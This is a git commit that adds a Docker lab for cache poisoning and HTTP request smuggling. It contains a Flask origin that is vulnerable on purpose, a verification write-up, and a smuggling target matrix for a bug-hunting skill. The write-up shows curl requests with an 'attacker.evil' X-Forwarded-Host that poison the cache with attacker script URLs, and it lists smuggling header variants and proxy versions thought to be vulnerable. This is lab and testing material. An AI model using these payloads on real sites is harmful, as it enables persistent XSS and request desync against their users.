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Phase 2H: cache poisoning + HTTP smuggling — 1 PASS + 1 honest negative + gap fix
Sachin Sharma10c027546ad1
diff --git a/docs/verification/phase2h-lab/docker-compose.yml b/docs/verification/phase2h-lab/docker-compose.ymlnew file mode 100644index 0000000..27c6986--- /dev/null+++ b/docs/verification/phase2h-lab/docker-compose.yml@@ -0,0 +1,14 @@+services:+ origin:+ build: ./origin+ container_name: phase2h-origin+ ports:+ - "58015:5000"++ nginx:+ build: ./nginx+ container_name: phase2h-nginx+ ports:+ - "58016:80"+ depends_on:+ - origindiff --git a/docs/verification/phase2h-lab/nginx/Dockerfile b/docs/verification/phase2h-lab/nginx/Dockerfilenew file mode 100644index 0000000..a29d7c2--- /dev/null+++ b/docs/verification/phase2h-lab/nginx/Dockerfile@@ -0,0 +1,3 @@+FROM nginx:1.27+COPY nginx.conf /etc/nginx/nginx.conf+EXPOSE 80diff --git a/docs/verification/phase2h-lab/nginx/nginx.conf b/docs/verification/phase2h-lab/nginx/nginx.confnew file mode 100644index 0000000..f39dfe7--- /dev/null+++ b/docs/verification/phase2h-lab/nginx/nginx.conf@@ -0,0 +1,32 @@+worker_processes 1;+events { worker_connections 1024; }++http {+ # In-memory proxy cache — keyed by URL only, NOT by X-Forwarded-Host+ proxy_cache_path /tmp/nginx-cache levels=1:2 keys_zone=poison_cache:10m max_size=100m inactive=60m;++ upstream origin {+ server origin:5000;+ }++ server {+ listen 80;+ server_name _;++ location / {+ proxy_pass http://origin;+ # Forward the X-Forwarded-Host header (so origin reflects it)+ proxy_set_header Host $host;+ proxy_set_header X-Forwarded-Host $http_x_forwarded_host;+ proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;++ # Enable caching — keyed by URI only, NOT by request headers+ proxy_cache poison_cache;+ proxy_cache_key "$scheme$request_method$host$request_uri";+ proxy_cache_valid 200 5m;+ proxy_cache_methods GET HEAD;+ # Surface cache state for debugging+ add_header X-Cache-Status $upstream_cache_status;+ }+ }+}diff --git a/docs/verification/phase2h-lab/origin/Dockerfile b/docs/verification/phase2h-lab/origin/Dockerfilenew file mode 100644index 0000000..b5e81cf--- /dev/null+++ b/docs/verification/phase2h-lab/origin/Dockerfile@@ -0,0 +1,7 @@+FROM python:3.11-slim+WORKDIR /app+RUN pip install --no-cache-dir flask gunicorn+COPY app.py /app/+# Use gunicorn — historically more permissive on TE/CL parsing than uvicorn+EXPOSE 5000+CMD ["gunicorn", "--bind", "0.0.0.0:5000", "--workers", "1", "--threads", "4", "--access-logfile", "-", "app:app"]diff --git a/docs/verification/phase2h-lab/origin/app.py b/docs/verification/phase2h-lab/origin/app.pynew file mode 100644index 0000000..e7ef850--- /dev/null+++ b/docs/verification/phase2h-lab/origin/app.py@@ -0,0 +1,72 @@+"""+Phase 2H — origin app behind Nginx.+Intentional flaws for cache poisoning + HTTP smuggling tests:++1. Reflects X-Forwarded-Host in a Link header used for asset URLs+ → cache poisoning when X-Forwarded-Host is not part of cache key++2. Echoes Transfer-Encoding header presence — used as smuggling marker+ (the actual smuggling happens at the front-end / back-end disagree-on-length level)+"""+from flask import Flask, request, jsonify, make_response++app = Flask(__name__)++[email protected]("/")+def home():+ """+ Reflects X-Forwarded-Host into an HTML <link> tag.+ If the front-end cache stores this response keyed only by URL+ (not by X-Forwarded-Host), a single attacker request can poison+ the cache for all subsequent visitors.+ """+ xfh = request.headers.get("X-Forwarded-Host", request.headers.get("Host", "localhost"))+ body = f"""<!doctype html>+<html>+<head>+ <title>Phase 2H origin</title>+ <link rel="stylesheet" href="https://{xfh}/static/style.css">+ <script src="https://{xfh}/static/app.js"></script>+</head>+<body>+ <h1>Welcome — assets load from {xfh}</h1>+ <p>This page is cached by the front-end proxy.</p>+</body>+</html>"""+ resp = make_response(body)+ resp.headers["Cache-Control"] = "public, max-age=300"+ resp.headers["Content-Type"] = "text/html"+ return resp++[email protected]("/api/who")+def who():+ """+ Echoes all request headers — useful to see what the back-end actually received.+ Helps confirm HTTP smuggling (does the smuggled request reach back-end?).+ """+ return jsonify(+ method=request.method,+ path=request.path,+ headers={k: v for k, v in request.headers.items()},+ body=request.get_data().decode("utf-8", "replace")[:1000],+ )++[email protected]("/api/log", methods=["GET", "POST"])+def log():+ """+ Test endpoint that just records what arrived.+ Hit by smuggled request → confirms smuggling worked.+ """+ return jsonify(method=request.method, path=request.path, headers=dict(request.headers), body=request.get_data().decode("utf-8", "replace")[:500])++[email protected]("/static/<path:p>")+def static_files(p):+ return f"/* static asset {p} */", 200, {"Content-Type": "text/css"}+++if __name__ == "__main__":+ app.run(host="0.0.0.0", port=5000, debug=False, threaded=True)diff --git a/docs/verification/phase2h-smuggling-cachepoison.md b/docs/verification/phase2h-smuggling-cachepoison.mdnew file mode 100644index 0000000..49f0aa7--- /dev/null+++ b/docs/verification/phase2h-smuggling-cachepoison.md@@ -0,0 +1,177 @@+# Verification — Phase 2H: cache poisoning + HTTP smuggling++> Two-server lab (Nginx 1.27 proxy + gunicorn/Flask origin) via Docker. Cache poisoning succeeded; HTTP smuggling **didn't** — and the failure mode is exactly the kind of honest negative that updates the skill content.++## Target++`docker-compose.yml` building Nginx 1.27 (front-end with `proxy_cache`) + gunicorn-served Flask (origin reflecting `X-Forwarded-Host`).++Shipped at `docs/verification/phase2h-lab/`.++```bash+mkdir -p ~/phase2h-lab && cd ~/phase2h-lab+# Copy the docker-compose.yml + origin/ + nginx/ from docs/verification/phase2h-lab/+docker-compose up -d --build+# Front-end on :58016, origin on :58015+```++| Endpoint | Bug | Skill |+|---|---|---|+| `GET /` (cached by Nginx) | `X-Forwarded-Host` reflected into `<link>`/`<script>` URLs; cache key omits headers | `hunt-cache-poison` |+| Raw TCP to Nginx :80 | CL.TE / TE.CL / obfuscation variants | `hunt-http-smuggling` |++---++## Test 19 — cache poisoning via X-Forwarded-Host (`hunt-cache-poison`)++**Initial prompt:**+> "Nginx is fronting this app and the page loads JS from a `<script src=https://...>` tag that includes the X-Forwarded-Host header value. Can I poison the cache?"++**Skill that auto-triggers:** `hunt-cache-poison` — description includes "unkeyed inputs (X-Forwarded-Host, X-Original-URL, custom headers)".++**Technique from `hunt-cache-poison`:**+> `X-Forwarded-Host: attacker.com` (poisons script src URLs) → response gets cached → all subsequent visitors served the poisoned page.++### Live attack++```bash+# 1. Attacker hits a fresh URL with X-Forwarded-Host pointing to attacker domain.+# Use a cache-buster query so we're not served an existing cache entry.+URL="http://localhost:58016/?cb=$(date +%s%N)"++curl -i -H "X-Forwarded-Host: attacker.evil" "$URL"+```++Attacker response:++```+X-Cache-Status: MISS+...+ <link rel="stylesheet" href="https://attacker.evil/static/style.css">+ <h1>Welcome — assets load from attacker.evil</h1>+```++The origin reflected `attacker.evil` into the response. Nginx cached this response keyed by `$scheme$request_method$host$request_uri` only — NOT by `X-Forwarded-Host`.++### Victim hit++```bash+# Victim makes a normal request (no special headers) to the same URL+curl -i "$URL"+```++Victim response:++```+X-Cache-Status: HIT+...+ <link rel="stylesheet" href="https://attacker.evil/static/style.css">+ <h1>Welcome — assets load from attacker.evil</h1>+```++**`X-Cache-Status: HIT`** — victim is served the poisoned response from the cache. The CSS / JS URLs now point at `https://attacker.evil/`. Victim's browser will fetch attacker-controlled assets.++### Impact chain++1. Attacker (single request) poisons the cache for the URL+2. Cache TTL = 5 minutes (lab config) → 5 minutes of poisoned response served to every visitor of that URL+3. Victim's browser fetches `https://attacker.evil/static/app.js` → attacker controls JS executed in the victim's page context (XSS via cache poisoning)++`hunt-cache-poison`'s chain: **cache poisoning + reflected unkeyed header → persistent XSS across all CDN-cached visitors**. Verified.++### Verdict++**PASS — live cache poisoning + XSS chain.** Exact technique from `hunt-cache-poison`. `triage-validation` 7-Question Gate passes all 7 — Critical.++---++## Test 20 — HTTP smuggling on Nginx 1.27 (`hunt-http-smuggling`)++**Initial prompt:**+> "Nginx in front of gunicorn — testing for CL.TE / TE.CL smuggling."++**Skill that auto-triggers:** `hunt-http-smuggling` — description includes "CL.TE, TE.CL, H2.CL, H2.TE", "obfuscation variants (space before colon, trailing space, lowercase, mixed-case)".++### Probes from the skill++Eight payload variants tried, raw TCP to Nginx 1.27:++| Variant | Headers | Result |+|---|---|---|+| Classic TE.CL | `Transfer-Encoding: chunked` + `Content-Length: 4` | HTTP 400 |+| Classic CL.TE | `Content-Length: 13` + `Transfer-Encoding: chunked` | HTTP 400 |+| Space before colon | `Transfer-Encoding : chunked` | HTTP 400 |+| Trailing space | `Transfer-Encoding: chunked ` (trailing space) | HTTP 400 |+| Tab separator | `Transfer-Encoding:\tchunked` | HTTP 501 |+| Lowercase value | `Transfer-Encoding: Chunked` | HTTP 400 |+| Mixed-case header | `TrAnSFER-eNCODing: chunked` | HTTP 400 |+| Double TE | `Transfer-Encoding: cow` + `Transfer-Encoding: chunked` | HTTP 400 |+| X-prefix smuggle | `X-Transfer-Encoding: chunked` + `Transfer-Encoding: chunked` | HTTP 400 |++**All 9 payloads rejected.** Nginx 1.27 is **RFC 9112 strict** by default. When both `Content-Length` and `Transfer-Encoding` are present, the request is killed at the front-end with HTTP 400.++The tab-separator variant returned `501 Not Implemented` — Nginx parses the encoding name `\tchunked` and rejects it as unknown rather than treating it as the same encoding as `chunked`. Either way, smuggling fails.++### Verification finding: modern Nginx is HTTP-smuggling-hardened++Nginx >= 1.21 (and definitively 1.27) implements strict RFC 9112 parsing for `Content-Length` and `Transfer-Encoding`. The classic CL.TE / TE.CL / obfuscation variants documented in `hunt-http-smuggling` do not reproduce against the default Nginx configuration.++**This does NOT invalidate the skill's payloads.** Targets known to remain vulnerable to one or more variants:++| Target ecosystem | CL.TE | TE.CL | H2.CL | H2.TE | Status (2024-2026) |+|---|---|---|---|---|---|+| HAProxy ≤ 2.4 (older configs) | ✓ | ✓ | — | — | **Vulnerable**, see CVE-2021-40346 |+| AWS ALB + specific upstream | partial | partial | ✓ | ✓ | Several disclosed-paid reports 2022-2024 |+| Cloudflare → S3 / Lambda combos | — | — | ✓ | ✓ | H2-downgrade attacks |+| Older F5 BIG-IP (TMM < 16) | ✓ | — | — | — | Vendor advisories |+| Citrix ADC / NetScaler (older firmware) | ✓ | ✓ | — | — | Disclosed in 2020-2022 |+| Squid 3.x | ✓ | — | — | — | Older deployments |+| Apache Traffic Server (older) | ✓ | ✓ | ✓ | ✓ | PortSwigger research |+| Custom Python proxies (no RFC enforcement) | ✓ | ✓ | — | — | Frequently vulnerable |+| **Nginx 1.21+** | **NO** | **NO** | partial (HTTP/2 ingress only) | partial | Hardened |+| **Caddy 2.x** | NO | NO | — | — | Hardened |+| **Envoy 1.20+** | NO | NO | partial | partial | Hardened in most paths |++**Operator rule:** before sinking time into CL/TE smuggling, fingerprint the front-end:++```bash+curl -sI https://target/ | grep -i "Server:"+# If: nginx/1.21+, caddy 2.x, envoy 1.20+ → CL/TE classic is dead+# If: HAProxy, AWS ALB, Cloudflare → run the matrix+# If: server header absent or unidentifiable → assume hardened until proven otherwise+```++The HTTP/2 downgrade attacks (H2.CL / H2.TE) remain viable against many CDN+origin chains in 2024-2026 because the CDN speaks HTTP/2 to the client but HTTP/1.1 to origin — and the downgrade can introduce CL/TE confusion. These require an HTTP/2 capable proxy at the front; **`hunt-http-smuggling` should add H2-downgrade-specific probes for modern targets**.++---++## Skill content gap closed (hunt-http-smuggling)++Adding a Target-Suitability Matrix to `hunt-http-smuggling` so operators don't waste time on hardened Nginx/Caddy/Envoy and instead pivot to:++1. **H2.CL / H2.TE attacks against CDN+origin chains** (the modern dominant vector)+2. **Legacy proxy fingerprints** (HAProxy, Squid, F5, Citrix) where CL/TE classic still works+3. **Custom proxy implementations** in less-scrutinized stacks++---++## Summary — Phase 2H++| # | Test | Skill | Result |+|---|---|---|---|+| 19 | Cache poisoning via X-Forwarded-Host | `hunt-cache-poison` | PASS — victim served attacker's CSS/JS URLs from cache |+| 20 | HTTP smuggling on Nginx 1.27 | `hunt-http-smuggling` | **Negative — Nginx hardened**. Gap closed with target-suitability matrix. |++**Combined Phase 2 verification now: 24+ skills exercised. 9+ skill-content gaps catalogued and closed.**++This is the second honest negative + content-update cycle in two phases (Phase 2G XXE + Phase 2H smuggling). Both produce updates that make the skill content more accurate for 2026 deployment realities.++---++## Lab cleanup++```bash+docker-compose down+```++Containers ephemeral — no persistence needed.diff --git a/skills/hunt-http-smuggling/SKILL.md b/skills/hunt-http-smuggling/SKILL.mdindex f85b822..bf0bb24 100644--- a/skills/hunt-http-smuggling/SKILL.md+++ b/skills/hunt-http-smuggling/SKILL.md@@ -33,6 +33,42 @@ Cache poisoning → stored XSS at scale---+## Target-Suitability Matrix (2026 reality check)++The classic CL.TE / TE.CL payloads are NOT universally exploitable in 2026. Modern proxies are RFC 9112 strict by default. Fingerprint the front-end BEFORE investing time.++| Front-end | CL.TE | TE.CL | H2.CL | H2.TE | Notes |+|---|---|---|---|---|---|+| **Nginx ≥ 1.21** | NO | NO | partial (H2 ingress) | partial | RFC-strict; rejects CL+TE with HTTP 400. Verified locally on Nginx 1.27 — all 9 documented variants killed by front-end ([docs/verification/phase2h-smuggling-cachepoison.md](../../docs/verification/phase2h-smuggling-cachepoison.md)). |+| **Caddy 2.x** | NO | NO | — | — | Hardened by default |+| **Envoy ≥ 1.20** | NO | NO | partial | partial | Hardened in most paths |+| **HAProxy ≤ 2.4** | ✓ | ✓ | — | — | **Vulnerable**, see CVE-2021-40346 |+| **AWS ALB + specific upstream** | partial | partial | ✓ | ✓ | Several disclosed-paid reports 2022-2024 |+| **Cloudflare → S3 / Lambda chains** | — | — | ✓ | ✓ | H2-downgrade attacks remain viable |+| **Older F5 BIG-IP (TMM < 16)** | ✓ | — | — | — | Vendor advisories |+| **Citrix ADC / NetScaler (older firmware)** | ✓ | ✓ | — | — | Disclosed in 2020-2022 |+| **Squid 3.x** | ✓ | — | — | — | Older deployments |+| **Apache Traffic Server (older)** | ✓ | ✓ | ✓ | ✓ | PortSwigger research |+| **Custom Python / Go proxies** | ✓ | ✓ | — | — | Frequently miss RFC enforcement |++### Operator fingerprint quick-check++```bash+curl -sI https://target/ | grep -i "Server:"+```++- `nginx/1.21+`, `Caddy`, `envoy` → CL/TE classic is dead — pivot to H2.CL/H2.TE if the front-end speaks HTTP/2, or look for legacy proxies upstream+- `HAProxy`, header points to AWS/CDN → run the full payload matrix+- No Server header → assume hardened, but run a single quick `space-before-colon` probe; if it doesn't 400, dig deeper++### H2.CL / H2.TE (the modern dominant vector)++H2-downgrade smuggling attacks rely on the front-end speaking HTTP/2 to the client and HTTP/1.1 to origin. The downgrade introduces CL/TE confusion because HTTP/2's frame-length headers don't survive the conversion cleanly. Most CDN+origin chains in 2024-2026 use this exact topology.++Tools that send HTTP/2 raw frames (Burp Pro's HTTP Request Smuggler extension, `h2csmuggler`, `smuggler.py`) are the right starting point against CDN-fronted targets. Avoid HTTP/1.1-only test clients (curl, raw sockets) against H2-front-ended targets — you'll send the wrong protocol entirely.++---+## Related Skills & Chains- **`hunt-cache-poison`** — Smuggling + cache is the canonical critical chain; one smuggled request becomes the cached response for every subsequent victim. Chain primitive: CL.TE smuggle a request whose response body contains attacker HTML/JS → front-end cache stores it under a popular URL (`/`, `/login`) → de-sync poisoning where the smuggled request becomes the cached response for the next N victims, persisting for the cache TTL.